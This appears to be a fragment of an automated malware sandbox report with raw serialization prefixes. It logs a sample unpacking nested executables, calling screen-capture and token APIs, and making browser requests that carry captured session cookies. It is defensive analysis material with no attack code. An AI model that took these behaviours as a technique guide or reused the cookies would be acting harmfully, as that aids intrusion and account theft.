"GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDHFurBkDkysBLRERRg7lfk HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 21 Oct 2023 06:01:35 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2527 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 12332 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Cache-Control: public max-age=3000 Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 1667 with response body ==>3082302830822F10020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEEVPiCzvQdHKEiO6fm6h1os%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 21 Oct 2023 05:57:04 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2806 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQClpMx3iVrg2hCmDSGXhsge HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 21 Oct 2023 06:33:18 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 639 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1682 with response body ==>....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDznawigtEEIxJzi7y6NmOs HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Sat 21 Oct 2023 06:01:31 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2559 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1700 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1709 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1717 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1729 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1748 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1760 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1770 with response body ==>....... "GET /gts1c3/QOvJ0N1sT2A.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: */* If-Modified-Since: Sat, 21 Oct 2023 05:24:39 GMT User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 304 Not Modified Date: Sat 21 Oct 2023 06:15:55 GMT Expires: Sat 21 Oct 2023 07:05:55 GMT Last-Modified: Sat 21 Oct 2023 05:24:39 GMT Cache-Control: public max-age=3000 Vary: Accept-Encoding Age: 1778 with response body ==>.......7c:T520,Found string "" (Indicator: "text/javascript"; File: "V5KU72CR.htm") Found string "" (Indicator: "text/javascript"; File: "V5KU72CR.htm") Found string "" (Indicator: "text/javascript"; File: "V5KU72CR.htm") Found string "" (Indicator: "text/javascript"; File: "V5KU72CR.htm")7d:Tef8,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00002480.000009B0.1028067.00050000.wprm] Observed system executable string:"%WINDIR%\system32\advpack.dll" [Source: 00000000-00002472-00000C25-19393870] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00002472-00000BC1-19416080] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00002480-00000BC1-20077080] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00002952-00000BC1-21043269] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00003104-00000BC1-21493755] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00002760-00000BC1-22230911] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00002976-00000C25-22636808] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00002976-00000C25-25470912] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00002976-00000C25-25558431] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00002976-00000C25-29208432] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00002976-00000C25-29873123] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00002976-00000C25-30018570] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00002976-00000C25-30151179] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00002976-00000C25-30353591] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00002976-00000C25-30410676] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00002976-00000C25-30549801] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00002976-00000C25-30965217] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00002976-00000C25-31077564] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00002976-00000C25-31254220] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" [Source: 00000000-00002976-00000C25-31301530] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll" [Source: 00000000-00002976-00000C25-31360962] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00002976-00000C25-31429201] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00002976-00000C25-31610493] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00002976-00000C25-33217254]7e:T284c,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=3.2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: facebook.comDNT: 1Connection: Keep-AliveCookie: fr=0BiggjXDON6NRJ2Ml..BlM3MV.1j.AAA.0.0.BlM3MV.AWXXbDyAXkU; sb=FXMzZc3Z2tU_hLfrz_M42JN4"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Connection: Keep-AliveHost: fbcdn.net"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: fbsbx.comConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comCookie: CONSENT=WP.2676baConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/opera.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/yt_logo_rgb_light.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/dinosaur.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/firefox.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/chrome.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /img/desktop/supported_browsers/edgium.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.youtube.comDNT: 1Connection: Keep-AliveCookie: CONSENT=WP.2676ba; hideBrowserUpgradeBox=true; YSC=SekZwP61wPA; VISITOR_INFO1_LIVE=tmXeACG9p44; VISITOR_PRIVACY_METADATA=CgJVUxICGgA%3D"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yx/l/0,cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yy/l/0,cross/wYnUPpbC_DL.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yX/l/0,cross/fpMCwgcFvo4.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yI/r/4aAhOWlwaXf.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yL/l/0,cross/GLMTwJKTA1g.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: connect.facebook.netConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3i7M54/yv/l/en_US/uwjyy7pmA-B.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yh/r/bpW4eEg-2_W.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yG/r/rAl2Hl1fQTa.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")7f:T758,Observed string: "__d("URISchemes",["$InternalEnum"],(function(a,b,c,d,e,f){"use strict";var g=new Set(["about","accountscenter","aidemos","aistudio","apk","blob","cmms","fb","fba","fbatwork","fb-ama","fb-internal","fb-workchat","fb-workchat-secure","fb-messenger","fb-messenger-public","fb-messenger-group-thread","fb-page-messages","fb-pma","fbcf","fbconnect","fbinternal","fbmobilehome","fbrpc","file","flipper","ftp","gtalk","http","https","mailto","wss","ms-app","intent","itms","itms-apps","itms-services","lasso","market","svn+ssh","fbstaging","tel","sms","pebblejs","sftp","whatsapp","moments","flash","fblite","chrome-extension","webcal","instagram","iglite","fb124024574287414","fb124024574287414rc","fb124024574287414master","fb1576585912599779","fb929757330408142","designpack","fbpixelcloud","fbapi20130214","fb1196383223757595","tbauth","oculus","oculus.store","oculus.feed","oculusstore","socialplatform","odh","com.oculus.rd","aria","skype","ms-windows-store","callto","messenger","workchat","fb236786383180508","fb1775440806014337","data","fb-mk","munki","origami-file","fb-nimble-vrsrecorder","fb-nimble-monohandtrackingvis","together","togetherbl","horizonlauncher","venues","whatsapp-consumer","whatsapp-smb","fb-ide-opener","fb-vscode","fb-vscode-insiders","editor","spark-studio","spark-player","spark-simulator","arstudio","manifold","origami-internal","origami-public","stella","mwa","mattermost","logaggregator","workrooms","pcoip","cinema","home","oculus360photos","systemux"]),h=b("$InternalEnum")({EXPLICITLY_ALLOWED_SCHEMES_ONLY:"explicitly_allowed_schemes_only",INCLUDE_DEFAULTS:"include_defaults"});function a(a,b,c){b===void 0&&(b=h.INCLUDE_DEFAULTS);return a==null||a===""?!0:(c==null?void 0:c.has(a.toLowerCase()))||b===h.INCLUDE_DEFAULTS&&g.has(a.toLowerCase())}f.Options=h;f.isAllowed=a}),66);" (Indicator: ""sftp") in Source: RNFuSb7tdaZ_1_.js80:T428,"file.exe" called "FindFirstFileW" with parameter %TEMP%\IXP000.TMP\*.* (UID: 00000000-00002472) "file.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002472) "file.exe" called "FindNextFileW" with parameter 6BL1kL7.exe (UID: 00000000-00002472) "file.exe" called "FindNextFileW" with parameter gF3mD54.exe (UID: 00000000-00002472) "file.exe" called "FindFirstFileA" with parameter %TEMP%\IXP000.TMP\* (UID: 00000000-00002472) "file.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002472) "gF3mD54.exe" called "FindFirstFileW" with parameter %TEMP%\IXP001.TMP\*.* (UID: 00000000-00002480) "gF3mD54.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00002480) "gF3mD54.exe" called "FindNextFileW" with parameter 5nB9ui9.exe (UID: 00000000-00002480) "gF3mD54.exe" called "FindNextFileW" with parameter oi9NR71.exe (UID: 00000000-00002480) "gF3mD54.exe" called "FindFirstFileA" with parameter %TEMP%\IXP001.TMP\* (UID: 00000000-00002480) "gF3mD54.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00002480)81:T57a,Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "file") Found reference to API "GetDC" (Indicator: "GetDC"; File: "file") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "00000000-00001032.00000000.68634.00999000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; File: "00000000-00001032.00000000.68634.00999000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "00000000-00001032.00000000.68634.00999000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "00000000-00001032.00000000.68634.00999000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00001032.00000000.68634.00999000.00000004.mdmp, 00000000-00001032.00000001.68687.00999000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00001032.00000000.68634.00999000.00000004.mdmp, 00000000-00001032.00000001.68687.00999000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00001032.00000000.68634.00999000.00000004.mdmp, 00000000-00001032.00000001.68687.00999000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00001032.00000000.68634.00999000.00000004.mdmp, 00000000-00001032.00000001.68687.00999000.00000004.mdmp")82:T4ea,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "file") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "file") 